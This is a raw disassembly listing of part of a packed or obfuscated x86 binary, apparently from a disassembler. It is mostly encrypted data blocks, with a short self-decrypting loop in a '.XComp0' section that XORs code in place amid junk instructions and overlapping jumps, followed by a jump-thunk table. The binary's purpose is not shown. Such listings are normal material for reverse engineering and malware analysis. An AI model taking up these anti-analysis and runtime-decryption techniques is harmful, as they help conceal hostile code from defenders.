0FBCB17E6h, 4D2F8A61h, 0CC26CA35h, 82083169h dd 91A56C98h, 0B7195h, 6A4F6800h, 0E8C57B9Bh, 29968591h dd 0AE537B51h, 0F38DBBBCh, 49910763h, 46C52790h, 20D883B0h dd 0A72F9528h, 17B83FFAh, 2F31CC4h, 0FD0EB027h, 34E821F8h dd 0CCC42C91h, 7F2D958Dh, 0E3777EB3h, 5B1E3D75h, 0D823959Eh dd 0C035D0F9h, 30E920E9h, 8EB32B23h, 1AB64129h, 0BA9961F5h dd 2900F512h, 3AFC13E0h, 52EBEFEh, 129E20h, 20F1D000h dd 1AF5D9FCh, 2ED503E2h, 1BEACFF6h, 29DEFEE9h, 0B3E021F3h dd 0F9DC0007h, 0E10438D3h, 0AED0FFAh, 0CEF428E5h, 0E28FEA29h dd 570C2396h, 4A46CE99h, 5F8E1312h, 0A362ED39h, 41BF2251h dd 5F085E7Bh, 0BC52977Eh, 787D902Dh, 63A846B1h, 52BB24D3h dd 5FB010A7h, 529BBB6Eh, 0B828565h, 9ECCAD6Eh, 5C492995h dd 705C7563h, 8E431697h, 0ACBA8D07h, 8BD72EF2h, 19F2DCE3h dd 0DC31C594h, 4D2FBE00h, 8BEE2DD4h, 8299596h, 732FFB1Bh dd 0F900000Ah, 8C1469FFh, 17BA35C5h, 65F62BE6h, 2F9561A4h dd 0F41BC33Ch, 0A429E00Bh, 0EC9961F5h, 0E926CA35h, 142135E4h dd 19CB42ABh, 6F0A49F0h, 0E523962Eh, 0E19E0003h, 0CC419E4Dh dd 0C643AA15h, 0EBF41ACFh, 1568F34Eh, 0A023962Eh, 0D40AA3BFh dd 0DBC83EB0h, 9061183Bh, 0AB212395h, 0DFD0F8E7h, 0E19CB737h dd 5E2395F7h, 9AC668A1h, 0F02BD60Ch, 298F0C5Eh, 59B61A39h dd 6F4C8554h, 0BEFE655Ah, 88AEB7B8h, 0BA000011h, 0A342FA17h dd 0C530D43Bh, 993CE023h, 0C82FD530h, 0E341E324h, 3EC9F1AEh dd 0EFDDF06h, 3DCCEFD6h, 0EFFE007h, 104BECD6h, 2396E16Dh dd 8CC385EAh, 0B4557863h, 4E6F787Dh, 0E9CEBFh, 42A79005h dd 6E5D2C3h, 0C210FF03h, 0E5F1CC1Ch, 2F594F21h, 998084Dh dd 0CEDA0000h, 0DA7C8731h, 96860777h, 9B42BD29h, 9CB2676Eh dd 0D50C56C0h, 0E60805EAh, 0A49F049h, 2996856Fh, 8591EC27h dd 110E2996h, 2A5300ADh, 0A7299685h, 22C82FFAh, 0ECFA4DE1h dd 0CA2F961Eh, 5965842h, 58836A4Bh, 1ED678B1h, 9C3FB861h dd 599BDE7Dh, 6B182397h, 0D47A2FA6h, 8E7F6057h, 8A836C53h dd 76C05603h, 0D2AB6891h, 4F239759h, 6DC77A52h, 0AF8EC346h dd 6C6F509Fh, 4D408982h, 57CF28ACh, 50D03ACAh, 0BC34A2BEh dd 732F710h, 0E629C532h, 1DBD3AEFh, 0BD0144EAh, 0B0298FC4h dd 3AEF1AC1h, 0FECF9AD9h, 664F60BEh, 1083h, 45F71AB5h dd 2BD13EA2h, 3FE51ECCh, 2AD23398h, 34E81FCBh, 0C8F4A3DEh dd 943A9D3Fh, 0BB22C577h, 8E2F964Eh, 0C2775D7Fh, 96E0E891h dd 40006523h, 0D38D638Ch, 0DB1C2030h, 0E38607C2h, 9B7CFD1Eh dd 0C9F22995h, 0FEE0B93Ch, 0E1FEED01h, 0E50AF52Ch, 9B621B38h dd 22DF2995h, 2333E6E7h, 6F7B4ACAh, 4F7B607Dh, 0AD6435B8h dd 0C5259277h, 789E4B42h, 2FB7D993h, 1E49E4Dh, 0CE680000h dd 0D87E8931h, 5459B419h, 44C12A95h, 739A43B2h, 95E873CEh dd 0B299685h, 0F3A627DEh, 36001613h, 0EE5BFBD1h, 8C7512B4h dd 4268FE6Ah, 96246811h, 0F138E529h, 56370B48h, 602A2F8Fh dd 0CFF07B3Ch, 0AE2B73Eh, 0AC657AADh, 0A4618A75h, 0DD67831h dd 0A269536Ch, 3ABCB98Ch, 953A239Dh, 14877578h, 15ACC3B6h dd 0FFEDFD8h, 50C7AE9Eh, 0C8D172E6h, 0CF8FDB32h, 0DE90BE49h dd 910EF9E1h, 0D439DD28h, 48D68D18h, 3CDDh, 69FF2700h dd 0DB310831h, 8A32C725h, 4BFE103Ah, 2F8F1CE3h, 78C01FEh dd 239CF772h, 6A8B651h, 0F75D203Bh, 2DDA239Ch, 0D3680409h dd 162D48D6h, 0F0000001h, 80E2511Ch, 48EE7138h, 78638CF2h dd 6940B556h, 0A24A2DA0h, 2EC97065h, 0A0797C91h, 859FDA79h dd 5F1C2996h, 5EBF20CFh, 9685BCBDh, 854C3929h, 0DB636910h dd 97E271AEh, 1429967Eh, 71A78567h, 912EBD51h, 21AECF8Ch dd 7E2B2996h, 7AAF5A81h, 71AD4DBFh, 119869C6h, 83F033FDh dd 4F299694h, 6D818268h, 75AC617Eh, 41DA869Fh, 0B8E2B6A9h dd 0D018655Ch, 0D0EEE920h, 4FDFBA3Bh, 0B7E375E5h, 9195D182h dd 4B382F91h, 48C32996h, 0B5829445h, 0BF65A24Ah, 8E815D5Ah dd 2DBC5207h, 30A3488Dh, 40B57C8Dh, 59D68369h, 0FC620411h dd 0B58DE635h, 7E77B0FBh, 0E9277h, 0F41DC400h, 0C649A550h dd 0F211B71Eh, 0C73EAB4Ah, 0FD0AB215h, 7B4ED47h, 0D50024E3h dd 5F014F7h, 0D60123E6h, 2F014F9h, 0DE532635h, 1BD02396h dd 0B7608C5Dh, 7447C755h, 7784389Ah, 29961906h, 3FB64F7Ch dd 4287746Ah, 7B923B9Ah, 9DE07BC6h, 13299618h, 0B77263AAh dd 7AB45A47h, 78638CA4h, 777EB354h, 86BE4F70h, 68D5Dh dd 69FFA300h, 0AF0CF514h, 7212FA09h, 78A16888h, 8F678BDBh dd 9049362Fh, 29CFAA69h, 4F4C239Dh, 67878868h, 9B44BB7Eh dd 0C69DC72h, 0EB239D2Ah, 9C503624h, 5948D601h, 2D1h, 58AF1BA4h dd 0CC728455h, 808B31CEh, 20785C0Dh, 0D633D9AEh, 2656F91Dh dd 0D82995C6h, 0EFDBFCDFh, 213DD118h, 8BB66BB7h, 95C6ADD0h dd 0D97D2A29h, 6031BF5Ch, 0BEC82F95h, 66852008h, 0A257928Ch dd 577A6057h, 44159877h, 0B6C7548Dh, 332395ACh, 0AC11E076h dd 993FB861h, 0A0B6636Ah, 7F8E2F96h, 6C546B0Eh, 0D77732A3h dd 27931D8Bh, 7F029E0h, 251224E3h, 8ED0C8F6h, 104BF629h dd 1D9C886Dh, 8883F625h, 3001D9Ch, 0A850E6A3h, 3BC920FBh dd 2A4BBEFEh, 0D523Bh, 0B45D8400h, 86896590h, 0B251775Eh dd 877E6B8Ah, 0BD4A7255h, 4774AD87h, 15C064A3h, 45B054B7h dd 16C163A6h, 42B054B9h, 0DC93E675h, 5B102396h, 8731CE9Dh dd 0A069A64Ah, 1BDA7C2Dh, 2EA65BB2h, 0B0D280D3h, 5B84AAD4h dd 0C5B8639Eh, 42299684h, 9D42B145h, 0A1689D3Eh, 0AA597F78h dd 725C5B84h, 4C858467h, 8A7F5E49h, 5A888703h, 0B19D8884h dd 500B12BBh, 2996842Dh, 844336E5h, 0C3C02996h, 39EB26E3h dd 0D203E7D0h, 0FDAC21EEh, 73ED2234h, 434D2F5Ch, 5BFB14BCh dd 19CCFh, 49A51200h, 0F41ACFC6h, 8D638C3Eh, 6E4EE2A5h dd 0D8DD141Ch, 0CFEDEECFh, 29E0B93Ch, 89D147F3h, 3E7FC350h dd 0B5722F8Fh, 0A0937940h, 0E24F1FDAh, 0A7CE8195h, 86239CB2h dd 0F973537Fh, 0CD48D68Ah, 6E808D32h, 7AB2h, 69FF9400h dd 570B6A14h, 0AD64CCF8h, 0AC638B74h, 1955848h, 0D264D4BCh dd 0A774B665h dd 2DCA2F8Eh, 1ED6788Bh, 777E8D2Fh, 5AB267A2h, 0AD0F2329h dd 2F10765Eh, 3944CF0Ah, 0B6239BEFh, 0FDBC25C9h, 0FB5FA717h dd 76D93BD2h, 0F94CE286h, 239C567Ch, 0C035D2FAh, 2F312B7h dd 0AF6F7B8Ah, 0BE705EA9h, 0F5559D41h, 615E4EAEh, 0FFE8ED24h dd 52E42DDCh, 0D54923BDh, 0C8E448h, 8C3E0000h, 96547863h dd 0DE0F42A6h, 0F4EB26B5h, 518841CAh, 0A7126BA8h, 89CA2995h dd 2995A6F0h, 514EB06Dh, 974324BDh, 557A7D70h, 8D3235B8h dd 0AAD55C80h, 562995F9h, 5888369h, 8C836B54h, 0AB628B6Ah dd 0AA699079h, 299553CFh, 8165A845h, 60F67284h, 0FF3AFF3Ah dd 95532954h, 55F9A629h, 914474F2h, 8565522Fh, 0C42C0B82h dd 5A8F4A4Bh, 9A3F3CB4h, 924ABD1Dh, 33808733h, 0B0FAE5CEh dd 70D2D3DCh, 0A200000Bh, 0CB2AD23Fh, 8D38EC23h, 0C124D82Bh dd 9037ED18h, 0B29DB2Ch, 601E996h, 36D5F7DEh, 504E70Eh dd 36D7F8DFh, 813E40Eh, 2396DB75h, 0CEBB7DF2h, 8595E873h dd 15122996h, 3DCAF201h, 0EFFE007h, 638C38D6h, 9B4423AAh dd 8B30C772h, 795AD47Ah, 382h, 3169FFC7h, 1EFF4B08h, 0A21D2F96h dd 0FCACB38h, 0D1C445A8h, 1FEF618h, 0EB72078Ch, 0CEF02396h dd 0AAFB83Dh, 9463FAFBh, 85809846h, 0C7F36D59h, 0EBB448D0h dd 87000002h, 0D1D71285h, 318D34C9h, 3D0313DEh, 968598E8h dd 0C5ED7B29h, 9685E396h, 6EA36029h, 669F4CB3h, 639E63D0h dd 9685C5B8h, 5A454229h, 4A1F9673h, 1F9DA1A4h, 76CB2F96h dd 96EB94E5h, 0AB141123h, 15C4C940h, 0D50CF901h, 0AE27932Ch dd 1E30F90Eh, 242FEECFh, 2396EB59h, 38D7F7D6h, 0E42DE4B5h dd 0B4F5D740h, 4D284F04h, 0BA23D264h, 7C50BB21h, 0F542BFC7h dd 51448D92h, 0EE134FD9h, 0CA43AC13h, 4D0016C3h, 29906671h dd 615CB764h, 1BBEFFAFh, 0A4D0B1Ah, 607F0000h, 846C8BB1h dd 4C6E598Bh, 796285B7h, 4D6D588Ch, 71B082BAh, 0B76D9A42h dd 0A75DAE10h, 0B86C9D40h, 0A75DB00Dh, 9EDF7C3Dh, 1B2396D9h dd 31CE12B6h, 0F9848F8Ah, 76299685h, 3FAE4089h, 6A9D3D9Eh dd 0A4492E9Fh, 47F06469h, 1FE0FB0h, 0F1A82DD8h, 0BCB09E5Dh dd 0FA3FFA13h, 96852059h, 4EE09D29h, 5D411BE4h, 0E7064D2Fh dd 0E0000001h, 23AA638Ch, 0CA729B44h, 3AA0089Eh, 89FA20ACh dd 0D01975DFh, 1CC50CDDh, 236BEFE5h, 13816BC4h, 96617508h dd 2135F229h, 714ED14h, 29966176h, 88D37B01h, 0D9CDB821h dd 0FB470A2Ch, 292F8F99h, 363A43D0h, 0CAB7239Dh, 70B2CC24h dd 0F6BB0D78h, 6A199C55h, 239CB70Bh, 24A96489h, 7E6F9643h dd 0B767739Ah, 0B67866A1h, 0C34C748Bh, 9CB64538h, 31C5C223h dd 0D69600DCh, 38C548h, 0FF1F0000h, 4B083169h, 2F8F97E3h dd 0ED8C01FEh, 971EEBD2h, 5C192CC2h, 3B239D72h, 0CFE886D4h dd 0C0991CEBh, 4E07D92Eh, 0EC048D6h, 1B000001h, 664435E6h dd 0C4C1239Dh, 638C0C32h, 798623AAh, 5796B853h, 8C796273h dd 0BB239C45h, 66886154h, 9943BC7Dh, 0B00DDC72h, 7F4AC12Bh dd 9749F5Ah, 86299686h, 0CD6C7599h, 2D7F8C32h, 86CB12E0h dd 9E80E7Bh, 30F329E4h, 2996C563h, 47FD10ADh, 0A45D8513h dd 5459B01Bh, 7DC47185h, 5DAF5C82h, 0B139541Ah, 447E724h dd 2F923666h, 0DAE51C09h, 86F724F1h, 3239A54h, 0FCACB06h dd 320732FFh, 9A545821h, 628D523h, 0DD0403E7h, 5486F724h dd 603239Ah, 3B9F46F0h, 0AA7EFDAFh, 0BA6FE163h, 0FB136859h dd 142112B0h, 887h, 49FB16B9h, 17CD429Eh, 43F90AB0h, 16CE37A4h dd 48FC0BAFh, 0E408B7EAh, 0F8D60123h, 0E706F113h, 0F2DBFA22h dd 3EFBE91Bh, 96D85C1Dh, 0D474D923h, 3C2746CEh, 21C94736h dd 8D5C51BCh, 9743B244h, 0A9AAD380h, 48272995h, 61A861A2h dd 7A615EBBh, 4F707F8Fh, 16A186BEh, 4AB91FB6h, 0BB5B0E7Fh dd 8D31CE85h, 569B6C50h, 4F8C31C0h, 61549D6Ch, 4CBB1F98h dd 6F7E9049h, 0DE318D4Eh, 1AEBD0D7h, 1E21ACFh, 66h, 0EE1DBF38h dd 31CEF248h, 1AD97D88h, 2BA158B5h, 174E6861h, 0AE37385h dd 0AE1BC01Dh, 4E835657h, 4BC42C93h, 667F8F4Ah, 3CB15C81h dd 75788F3Bh, 7E6E7C93h, 0ED60A95Eh, 0FF06B34Ch, 0F526DB8Eh dd 29968484h, 13F20401h, 0D308E5C7h, 36EE23EAh, 409E6D1h dd 0B536D891h, 3Ch, 0A2331004h, 6AC460AEh, 31CE6EC4h, 5E0B828Dh dd 799439B8h, 0A24AB574h, 0F87ED165h, 0E299685h, 0D8319C23h dd 8587F221h, 17042996h, 14DA08F7h, 0D9C63DABh, 0F5F41AF5h dd 310F35D8h, 95E873CEh, 12299685h, 92C1BF15h, 696821CEh dd 44C926C5h, 0C251A851h, 299658B7h, 6A504734h, 7FE97599h dd 5641CCF1h, 0A35E9378h, 5459B21Ch, 97C47185h, 2F95F2B7h dd 956C9592h, 4647C42Ah, 4B748393h, 3DA017C2h, 0FE10C9CCh dd 0E12C9134h, 0B2E87EECh, 57D7CC87h, 0BC432996h, 0E726C712h dd 0F7FE33E6h, 37E40C22h, 18D8F502h, 60814638h, 423BD845h dd 0BF1D9725h, 17C207C2h, 40DB3CA0h, 1D97253Dh, 9104CDBAh dd 1BFC36D8h, 0DDD039A4h, 0E20BEA0Ch, 0E41EF62Bh, 73CBE143h dd 0C1688195h, 0E1759A36h, 12C71385h, 13A46DBAh, 0D78B61A8h dd 1C193DACh, 8FE59FFFh, 0CE2DDA23h, 0A4FF35C3h, 0A095A091h dd 0D2000006h, 0DBFA22EFh, 0FDE81CF3h, 0D1F428DBh, 0E71DE8h dd 1BF92BDCh, 0F611B9E6h, 0C645A74Eh, 0F514B71Eh, 0C647A84Fh dd 5803B41Eh, 2396D625h, 8C8B2DA2h, 886FAA63h, 0A892A465h dd 686DA03Dh, 3EAF5E7Fh, 351BF1A6h, 88F8A2B0h, 81CD2CC2h dd 760714EDh, 0F3299679h, 0ECD12036h, 0B61EFB21h, 0E92A1780h dd 2995F790h, 0DBBC100Dh, 37E0B628h, 0AE93429Dh, 0A23ED363h dd 724D2F4Eh, 30A56885h, 6449D579h, 9B000000h, 124169FFh dd 29968567h, 47F237E4h, 8FD4550Ch, 1BCF452Fh, 79535487h dd 1613EB0Bh, 21EAD4EBh, 0E81FCBACh, 97200D21h, 932CD534h dd 0D0D7DE25h, 44EA1FF0h, 291467EAh, 318E239Dh, 1EBD28DCh dd 0CD3FEAEBh, 4A64D807h, 0DF0BF4E1h, 0C8E50628h, 14000005h dd 0F14B2EEDh, 1DC1239Ch, 0B82EFBF2h, 8C152BCBh, 0B6577863h dd 4B6D6A3Fh, 0AD6435B8h, 0C2A8A074h, 0AF26DF0Ch, 0E97712FAh dd 0D1AD363h, 1BA45DB0h, 76C056ADh, 44C92691h, 82876651h dd 2DBBA747h, 0AF54CF5h, 3CC9F2E1h, 529E0B9h, 8F2AFC42h dd 318D2A2Fh, 0C3C038DEh, 0C73441D2h, 0FC13239Ch, 0E74418EEh dd 7A0148D6h, 0E3000000h, 95E873CEh, 12299685h, 0F3650115h dd 7BB65975h, 428F39C6h, 2FA66B98h, 0A257D47Ah, 491C6C2Ah dd 0A648F630h, 8ED98BA3h, 0FAD6E12Fh, 25C9A015h, 0CC419ECDh dd 0D4D910C9h, 0C946AA15h, 0B4532225h, 0EBD1239Ch, 26CAAD20h dd 32F716B7h, 95532BBh, 9A59DF38h, 0DD148ADEh, 9516FE43h dd 0D2662060h, 438F6E80h, 0D6FEE983h, 9E42BD48h, 3241DD71h dd 9C000001h, 0BF4FB623h, 8C73CE79h, 7623AA63h, 968594E5h dd 2141129h, 0AA11CAF3h, 76BB6E5Fh, 828B34CBh, 0CCAD6E0Bh dd 49299685h, 6881955Ch, 537A5B7Fh, 0D97A3FB6h, 299685A0h dd 60A9601Dh, 699E3EB9h, 625D1CC5h, 8B6A8C79h, 0B5507962h dd 2DA06940h, 0B468A54Ah, 968AF26Dh, 0F7E1DE29h, 0E20BEA0Ch dd 0A710F92Bh, 0C332C443h, 0F34EF31Ah, 57D66C21h, 0CC675FEDh dd 29964FB1h, 4DD712Eh, 0B02B6F65h, 0F2FF0C04h, 4C96005Ch dd 0D5CC8695h, 0EA972F8Eh, 0E223C82Fh dd 8DD63EEBh, 9DBDA8BEh, 6FDB55F9h, 0DB78A1F9h, 29995289h dd 0AA638C73h, 5D7D6C84h, 3DBA5FAAh, 77F84D9Dh, 755AAF73h dd 7D5D88BCh, 9C6C298Ah, 52EBEF2h, 41A20h, 6CA54C00h, 5EB10DB8h dd 6A993FA6h, 5FA613B2h, 55B21ABDh, 5F1C95AFh, 6D588C7Bh dd 5D88BC4Fh, 6E598B7Eh, 5A88BC51h, 0D3FB7E9Dh, 0D3782396h dd 0A7608C35h, 946D9475h, 9685F687h, 0A5B67329h, 299685D4h dd 7263A04Ah, 5A3D47B7h, 254F39D5h, 7F6E8049h, 9238BF5Eh dd 8EAD7C71h, 299625EBh, 0CE76BB68h, 3169FF70h, 19DB3108h dd 0FB6F3627h, 0E6480B2Bh, 3C2F8F1Dh, 0E7EE15C3h, 0F5D41C32h dd 0E9C035D8h, 0E0FEF920h, 31E20B2Bh, 239CF844h, 38E31E23h dd 239CF845h, 0D231C5C2h, 0D02EC284h, 4BF648D6h, 9CEC6D10h dd 83F62523h, 239CECh, 3BE6A303h, 9CEC5D20h, 92DDA23h dd 11D1Dh, 638CE700h, 454A918Dh, 0BA6F66A9h, 0FAE96052h dd 19FBBE2Fh, 20FC03BFh, 1F00689h, 38D1FCD9h, 17C448F1h dd 16EB42D6h, 0CB6E7797h, 13604849h, 73833059h, 965583E0h dd 67886F29h, 7C24B74h, 26E708E7h, 409E19FEh, 0FF0FCACBh dd 33ECFF0h, 0C47D0FCh, 29964B71h, 56F831EEh, 0E9D3EC8Dh dd 58FEAB22h, 99409A0Ch, 8F61D87Ah, 65F6A32Fh, 239D3614h dd 677A491h, 83239D36h, 5E864B86h, 0C7F47CEAh, 27E2B73Eh dd 710C47F2h, 0EE239D35h, 0E9101D31h, 0F91DF2CEh, 9925AB56h dd 0B66B1829h, 0BE66A149h, 557C5E59h, 4A1F9679h, 0BB5B0E7Fh dd 9C77903Ch, 0BEF28609h, 9C738273h, 0CE000002h, 0FFE61EF3h dd 0E90C30DFh, 0F5E004FFh, 0EC0B31D4h, 3FD50700h, 0D23595C2h dd 0EA21CB2Ah, 0E1289332h, 0DA339C3Bh, 5CF7C022h, 2396D221h dd 0CE87299Eh, 0D87E8931h, 5966B119h, 27B9873h, 7F299686h dd 3A924782h, 0BA59DB61h, 2995CBBFh, 846D3F3Ch, 102ACCF6h dd 0EAD308E5h, 32F7B223h, 638C340Ah, 9B4423AAh, 8A30C772h dd 8971C05Ch, 16DB2B15h, 0CDF3AD9Fh, 31A075C0h, 2EDDFFF8h dd 26C72E08h, 70215CF7h, 0E19E2996h, 0A97A4E0Bh, 7DB47DFCh dd 277B50C4h, 0AD20EBD1h, 2EEA18FCh, 19952E4h, 29964B97h dd 684F46C1h, 0AB4B8687h, 20D1CD8Eh, 0FA042F8Fh, 0DD840F89h dd 0DDD019FDh, 9419F6DAh, 0F1E42B93h, 0F01FBF38h, 0A0AE5DFDh dd 0B9A564FEh, 0E1030AB3h, 4B6D438h, 74378883h, 0CA1086E2h dd 77E2EA0Fh, 46F4A62Eh, 56DC9DBEh, 0AC59239Dh, 5C6EAD8Ah dd 3729967Ch, 0BB21B418h, 458C5D50h, 0A9509950h, 0C627AE0Eh dd 736C8247h, 0ADD08BB6h, 651DA431h, 0A431C3B6h, 6343401Dh dd 7C6190A6h, 6A8F7E5Fh, 0A431D0A9h, 99504D1Dh, 60A71314h dd 0A5628A6Dh, 311D6830h, 0B641E86Dh, 2900F51Ah, 46E8F605h dd 60F611B9h, 91489204h, 0A7D0E83Bh, 688EA226h, 0CB9E76CBh dd 0D09AFA50h, 0CFAA6990h, 4C1DA3F0h, 428CBF4Fh, 1D239D16h dd 0CB9AE370h, 381717AAh, 40B77293h, 0AF6A6B9Ch, 0BA23C27Ah dd 76556253h, 91782293h, 87866745h, 0A34BB455h, 89ECA6Ch dd 0B6EC27D2h, 0E91DA3CCh, 2C0F053Ch, 0A5B3BBDEh, 39FC13F9h dd 1DBA77CBh, 0E607F0F9h, 7A611C37h, 21DE11B2h, 3EF318B6h dd 0FE0FB0B7h, 9CCF0F7h, 0F3A627E2h, 3245B73Eh, 29E07A24h dd 6A86713Dh, 0A5172C88h, 75BCAF04h, 0D985A980h, 0E6EE134Fh dd 7837AADEh, 251224FEh, 2C0FF8DCh, 2FEE23EAh, 0CF762C1Fh dd 0FCA917AAh, 7DEDDF48h, 0E97CB61Ah, 0DE13FCE4h, 60BA2C38h dd 0D38C80B9h, 48671E03h, 0BFE07383h, 0F811B8D1h, 409D8A0Bh dd 0FB017CDh, 4D4CF7FEh, 164A1BFh, 0EBD4D806h, 57CB8C05h dd 49A5A47Dh, 1BC60BC6h, 38E33CA4h, 0A6D09445h, 890CC5C2h dd 8FEA29D0h, 0CA6D094h, 0D435FF0Fh, 939E7600h, 0CC62977Ah dd 0B21BC01Dh, 4A7F5A5Bh, 5C776443h, 0BC1F9871h, 8911844Dh dd 77585482h, 480475A6h, 8481A6D1h, 0AC1EFD30h, 8C19B05h dd 5E6D1h, 0DBD23197h, 0A74EE80Eh, 0DFC6C746h, 3, 8C390F21h dd 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah, 3235B84Fh dd 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 868243Ch, 8900007Bh dd 89512434h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 243C895Ch dd 73F0B951h, 0F181391Fh, 6F8E5D7Dh, 0D5E98149h, 89509193h dd 240C8BCEh, 4C481h, 0EC830000h, 24248904h, 4240481h dd 5F000000h, 4EC81h, 34890000h, 8478F24h, 5F2434FFh, 4C481h dd 348B0000h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 0F9C7FDE9h, 0D4253CFFh, 0B67FB89Bh, 0C50305FFh, 0E841E0FFh dd 0CF9355DBh, 40525814h, 0BE445FDh, 41244BF5h, 597C1FBBh dd 93BE591Bh, 36857CBFh, 0CB63200Eh, 18329F9h, 0AF4D4924h dd 71712FB4h, 7C9022D7h, 3BD20C47h, 4E216EF9h, 74887108h dd 0B0610C8Ah, 0F34F323Ch, 599F773Bh, 4AFC1E6Bh, 0F75A28CCh dd 444300C1h, 220DFCh, 99C6142Dh, 0FB303FBDh, 0F33A2050h dd 0EB4C22F9h, 8D8D07A0h, 5FFB82Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0A8C35242h, 0DE8F4B7h, 83000000h dd 0C321AF00h, 0C4EB95E0h, 9F99820Bh, 5ED68B66h, 0CDD8D89h dd 0E96005F9h, 11h, 0A22D29ADh, 731DD64Fh, 0CF1DFA3Dh dd 6FDBBF29h, 85C761BAh, 5F926C1h, 5A94h, 0DE9h, 4E27B300h dd 1255371h, 0FFD6D1E5h, 85C7FD06h, 5F900FDh, 0 ; --------------------------------------------------------------------------- jnp loc_5D6E04 jmp loc_5D6E04 ; --------------------------------------------------------------------------- db 0CFh ; --------------------------------------------------------------------------- retn 709Ch ; --------------------------------------------------------------------------- db 0DBh ; --------------------------------------------------------------------------- loc_5D6E04: ; CODE XREF: .XComp0:005D6DF4j ; .XComp0:005D6DFAj push dword ptr [ebp+5F90FD9h] mov esi, 4B47403Bh call dword ptr [ebp+5F920D5h] push 0 call dword ptr [ebp+5F91AEDh] mov eax, eax jmp short loc_5D6E2D ; --------------------------------------------------------------------------- inc edi retn 1A64h ; --------------------------------------------------------------------------- db 84h, 41h, 0FFh dd 0C7BA479Bh ; --------------------------------------------------------------------------- xchg eax, ecx loc_5D6E2D: ; CODE XREF: .XComp0:005D6E1Fj call near ptr loc_5D6E39+5 mov eax, ds:0B81B1E5h or esi, ebx loc_5D6E39: ; CODE XREF: .XComp0:loc_5D6E2Dp cmp esi, [ebx+5AF65FF8h] add [ebp+5F91635h], esi add edx, 5EA1h mov [ebp+5F904F9h], esi xor eax, eax mov esi, [ebp+5F911C9h] loc_5D6E59: ; CODE XREF: .XComp0:loc_5D6ED5j push dword ptr [eax+edx] xor si, 5AD5h pop ecx jb loc_5D6E70 push eax sub ebx, [ebp+5F91EC9h] pop esi loc_5D6E70: ; CODE XREF: .XComp0:005D6E62j xor ecx, 18B80F62h xor esi, [ebp+5F918D9h] xor ecx, 6BA9FFE0h mov [ebp+5F92AC1h], eax xor ecx, 35F463BAh jl loc_5D6E98 mov di, 7733h loc_5D6E98: ; CODE XREF: .XComp0:005D6E8Ej mov [edx+eax], ecx mov [ebp+5F92605h], ebx add [ebp+5F91B25h], ecx sub eax, 2 mov si, cx dec eax dec eax push edx mov edi, 76162628h pop ebx cmp eax, 0FFFFA210h jnz loc_5D6ED5 mov edi, 28A9BF1h jmp loc_5D6EE7 ; --------------------------------------------------------------------------- dd 1884539Ah, 98736201h ; --------------------------------------------------------------------------- clc loc_5D6ED5: ; CODE XREF: .XComp0:005D6EBCj jmp loc_5D6E59 ; --------------------------------------------------------------------------- inc edx adc [edx+63h], esp test byte ptr [ebx], 66h mov esp, 48201A48h loc_5D6EE7: ; CODE XREF: .XComp0:005D6EC7j jmp loc_5D6F8F ; --------------------------------------------------------------------------- dd 5653DE5Ah, 0BAF5CC47h, 66D138F3h, 9FABAFD6h, 7C4DB297h dd 95B7E3h, 0E9A9E572h, 9BB69CB5h, 0B6F37760h, 9EB794A9h dd 7D60D760h, 9EA9BD89h, 729EBD8Ch, 4A95ACE3h, 9BB98B20h dd 9D89937Eh, 0AFF496B9h, 94A19E96h, 91A7D6B5h, 48D100FDh dd 33594ACCh, 5200713Ch, 0F357DB4Dh, 0EFB6005Eh, 0BD899DBBh dd 9F899500h, 97BBEFB6h, 0B1B6D000h, 527155C3h, 0DA43700h dd 910D3C2h, 0Eh, 8 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5D6F8F: ; CODE XREF: .XComp0:loc_5D6EE7j jmp loc_5D86D4 ; --------------------------------------------------------------------------- push 5FFBC22h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFBDD3h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFBF36h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFC0D9h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFC1A2h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFC262h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFC363h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFC444h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFC55Dh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFC668h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFC772h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFC9D4h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFCD33h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FFCE93h jmp loc_5734FA ; --------------------------------------------------------------------------- dd 699B7659h, 77AD627Eh, 63996A50h, 76AE5784h, 689C6B4Fh dd 0C42857CAh, 9836A143h, 0C726D173h, 923B9A42h, 5E1BC97Bh dd 96CBBCBDh, 0F4943923h, 5878638Ch, 30A56885h, 6C3DB079h dd 0A64730A5h, 0A927CC4Ah, 1F3C6F84h, 29961F5Eh, 2EE32EDBh dd 8ED442F6h, 517AC853h, 0C06D2F8Fh, 9CEDEA93h, 52BA6723h dd 2636D407h, 7CA56CE5h, 3EAF5683h, 5722CB6Bh, 60871A2h dd 9885239Dh, 5A6D376h, 0BC85239Dh, 333F0658h, 4BEB61B1h dd 4D8AEBCh, 0D048D62Ah, 910403E7h, 0BFADFD8h, 683FEBh dd 0F5020000h, 1C2234D7h, 95E873CEh, 12299685h, 500BF15h dd 0C85A3C8Fh, 76AC3A26h, 818A34CBh, 7CB95D0Ch, 8F1D4FDFh dd 0C4A06A2Fh, 8F2FFD54h, 16BD30F9h, 239D6F5Fh, 8508FBDDh dd 0DCD13EA2h, 9A1BF2DBh, 4C9A6DBFh, 46B18692h, 0BB6E5FA4h dd 0B07E6C9Bh, 0D066A547h, 0D64BA13Bh, 638A7548h, 0D47A2FA6h dd 14448h, 638C9A00h, 798623AAh, 6534B954h, 4DBA22D1h dd 0BA16A148h, 8D32C155h, 0C52A0D80h, 0CE739448h, 8595E873h dd 15122996h, 96857306h, 803E929h, 35F2D485h, 0EF4060DFh dd 7D91AABBh, 95AF96CAh, 3AA13E29h, 6E9B4291h, 0C27732A3h dd 95A5E891h, 71B86529h, 